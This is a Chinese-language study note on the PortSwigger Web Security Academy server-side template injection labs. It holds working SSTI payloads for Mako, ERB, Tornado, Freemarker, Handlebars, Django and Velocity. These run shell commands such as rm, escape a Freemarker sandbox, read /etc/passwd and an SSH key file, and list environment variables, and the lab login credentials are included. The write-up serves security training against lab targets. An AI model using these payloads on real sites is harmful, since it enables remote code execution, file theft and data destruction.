笔者burpsuite的在线安全学院的ssti学习笔记。文章质量不是很高,假如有看到的大佬轻喷,很多地方是Google翻译的。这是burrpsuite学院的地址
文档是最有用的信息来源,例如,一旦您知道正在使用基于Python的Mako模板引擎,实现远程代码执行就可以很简单
<%
import os
x=os.popen('id').read()
%>
${x}
在无沙盒环境中,实现远程代码执行并将其用于读取,编辑或删除任意文件在许多常见模板引擎中都同样简单。
基于ERB模板的ssti,要解决此问题,请查看ERB文档以了解如何执行任意代码,然后morale.txt从Carlos的主目录中删除该文件。
<%= 7*7 %>
,然后url编码payload再请求<%= system("rm /home/carlos/morale.txt") %>
,url编码一下就是 https://your-lab-id.web-security-academy.net/?message=<%25+system("rm+/home/carlos/morale.txt")+%25>
Tornado模板的ssti,要解决此问题,请查看Tornado文档以发现如何执行任意代码,然后morale.txt从Carlos的主目录中删除该文件。
username = wiener
password = peter
提示:请仔细查看“首选名称”功能。
blog-post-author-display=user.name}}{{7*7}}
{% somePython %}
{% import os %}{{os.system('rm /home/carlos/morale.txt')
blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')
除了提供有关如何创建和使用模板的基础知识之外,文档还可能提供某种“安全性”部分。本部分的名称会有所不同,但通常会概述人们应避免使用模板进行的所有潜在危险操作。这可能是非常宝贵的资源,甚至可以充当备忘单,您在审核期间应针对其寻找行为以及如何利用它们。
即使没有专门的“安全性”部分,如果特定的内置对象或功能可能会带来安全风险,则文档中几乎总会出现某种警告。该警告可能未提供太多详细信息,但至少应将此特定内置标记为需要调查的内容。
例如,在ERB中,文档显示您可以列出所有目录,然后按以下方式读取任意文件:
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>
Lab: Server-side template injection using documentation
确定模板引擎并使用文档确定如何执行任意代码,然后morale.txt从Carlos的主目录中删除该文件。
您可以使用以下凭据访问自己的帐户:
用户名= content-manager
密码= C0nt3ntM4n4g3r
提示:您应该仅使用文档来尝试解决此实验室。但是,如果您真的陷入困境,可以尝试使用@albinowax找到一个著名的漏洞,可以用来解决lab。
${someExpression}
在页面上呈现表达式的结果。更改一个表达式引用不存在的对象(例如)${foobar},然后预览。输出中的错误消息表明正在使用Freemarker模板引擎。<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm /home/carlos/morale.txt") }
利用服务器端模板注入漏洞的另一个关键方面是善于在线查找其他资源。一旦能够识别出正在使用的模板引擎,就应该浏览Web以查找其他人可能已经发现的任何漏洞。由于某些主要模板引擎的广泛使用,有时可能会找到有据可查的利用程序,您可以对其进行调整以利用自己的目标网站。
请注意,当您尝试查看有关第一个产品的更多详细信息时,GET请求将使用message参数呈现"Unfortunately this product is out of stock"在主页上。
通过注入含有来自各种不同的模板语言,如模板语法一个fuzz 字符串${{<%[%'"}}%\
,在message参数。注意,当您提交无效的语法时,输出报错,标识该网站正在使用Handlebars。
搜索“ Handlebars服务器端模板注入”。找到发行的知名漏@Zombiehelp54。
可以看安全客翻译的这篇文章
修改此漏洞利用程序,使其调用require(“child_process”).exec(“rm /home/carlos/morale.txt”)如下:
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
对payload进行url编码,并将其添加为URL中message参数的值
https://your-lab-id.web-security-academy.net/?message=wrtz%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d
此时,您可能已经在使用文档的过程中偶然发现了可行的漏洞利用方法。如果不是,则下一步是探索环境并尝试发现您有权访问的所有对象。
许多模板引擎公开某种“自我”或“环境”对象,其作用类似于命名空间,其中包含模板引擎支持的所有对象,方法和属性。如果存在这样的对象,则可以潜在地使用它来生成范围内的对象列表。例如,在基于Java的模板语言中,有时您可以使用以下注入方式列出环境中的所有变量:
${T(java.lang.System).getenv()}
这可以为创建可能感兴趣的对象和方法进行进一步研究的清单的基础。此外,对于Burp Suite Professional用户,Intruder提供了内置的单词列表,用于强制使用变量名。
重要的是要注意,网站将同时包含模板提供的内置对象和Web开发人员已提供的定制的,特定于站点的对象。您应该特别注意这些非标准对象,因为它们极有可能包含敏感信息或可利用的方法。由于这些对象可能在同一网站中的不同模板之间变化,因此请注意,在找到一种利用它的方法之前,可能需要在每个不同模板的上下文中研究对象的行为。
尽管服务器端模板注入有可能导致远程代码执行和服务器的完全接管,但实际上这并非总是可以实现的。但是,仅仅因为您已排除了远程执行代码,并不一定意味着没有其他可能的利用方式。您仍然可以利用服务器端模板注入漏洞来进行其他高严重性利用,例如目录遍历,以访问敏感数据。
可以利用SSTI访问敏感数据
username = content-manager
password = C0nt3ntM4n4g3r
${{<%[%'"}}%\
,输出中的错误消息显示使用Django框架。{% debug %}
单击“提交解决方案”按钮,然后提交密钥以解决实验。
到目前为止,我们主要研究了通过重用已记录的漏洞利用或通过使用模板引擎中的众所周知的漏洞来构造攻击。但是,有时您需要构造一个自定义漏洞利用程序。例如,您可能会发现模板引擎在沙箱内执行模板,这可能使利用变得困难,甚至不可能。
在确定攻击面之后,如果没有明显的方法来利用此漏洞,则应继续使用传统的审核技术,方法是检查每个功能的可利用行为。通过有条不紊地完成此过程,您有时有时可以构造出复杂的攻击,甚至可以利用更安全的目标。
如上所述,第一步是识别您有权访问的对象和方法。一些对象可能会立即变得有趣起来。通过结合您自己的知识和文档中提供的信息,您应该能够汇总出要彻底研究的对象的清单。
在研究对象的文档时,请特别注意这些对象可以访问哪些方法以及它们返回哪些对象。通过深入研究文档,您可以发现可以链接在一起的对象和方法的组合。将正确的对象和方法链接在一起有时可以使您获得对危险功能和最初似乎无法到达的敏感数据的访问权限。
例如,在基于Java的模板引擎Velocity中,您可以访问ClassTool名为的对象$class
。通过研究文档,您可以链接$class.inspect()
方法和$class.type
属性以获得对任意对象的引用。过去,已利用此方法在目标系统上执行shell命令,如下所示:$class.inspect("java.lang.Runtime").type.getRuntime().exec("bad-stuff-here")
本实验使用Freemarker模板引擎。由于沙箱实现不佳,因此容易受到SSTI的影响。要解决此问题,请突破沙箱以my_password.txt从Carlos的主目录读取文件。然后提交文件的内容。
用户名= content-manager
密码= C0nt3ntM4n4g3r
这个lab不太懂,payload是${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
默认情况下,某些模板引擎在安全的,锁定的环境中运行,以便尽可能减轻相关风险。尽管这使得利用此类模板进行远程代码执行变得困难,但是暴露于模板的开发人员创建的对象可以提供进一步的,较少受战斗攻击的攻击面。
但是,尽管通常为内置模板提供大量文档,但是几乎可以肯定根本不记录特定于站点的对象。因此,研究如何利用它们,将需要您手动调查网站的行为以识别攻击面并相应地构建自己的自定义利用。
该lab容易受到SSTI的攻击。要解决此问题,请创建一个自定义漏洞利用程序,以/.ssh/id_rsa从Carlos的主目录中删除文件。
用户名= wiener
密码= peter
转到“我的帐户”页面。请注意,如我们在先前的实验中所见,设置首选名称的功能易受ssti的影响。您还应该注意到您有权访问该user对象。研究自定义头像功能。注意,当您上传无效的图片(我这里上传一个txt)时,错误消息会显示一种称为的方法user.setAvatar()
。还要注意文件路径/home/carlos/User.php
。稍后将需要上传有效图片作为头像,并加载包含测试评论的页面。重新进入刚才评论的blog,可以看到头像变了
在Burp Repeater中,打开POST更改您的首选名称的请求,
然后再回到blog加载评论,再使用blog-post-author-display参数将任意文件设置为头像 user.setAvatar('/etc/passwd')
重新加载blog查看报错信息。注意到,错误消息表明您需要提供图像MIME类型作为第二个参数。
提供此参数并再次查看注释以刷新模板:user.setAvatar('/etc/passwd','image/jpg')
要读取文件,请使用加载头像GET /avatar?avatar=wiener。这里用burp看响应,这将返回/etc/passwd文件的内容,确认有权访问任意文件。
重复此过程以读取您先前记下的PHP文件user.setAvatar('/home/carlos/User.php','image/jpg')
,读出php源码
注意,在PHP源码里,可以访问该gdprDelete()函数,该函数将删除用户的头像。您可以结合这些知识来删除Carlos的文件。
首先将目标文件设置为您的头像,然后查看注释以执行模板:user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')
调用该user.gdprDelete()方法,然后再次查看评论,解决lab。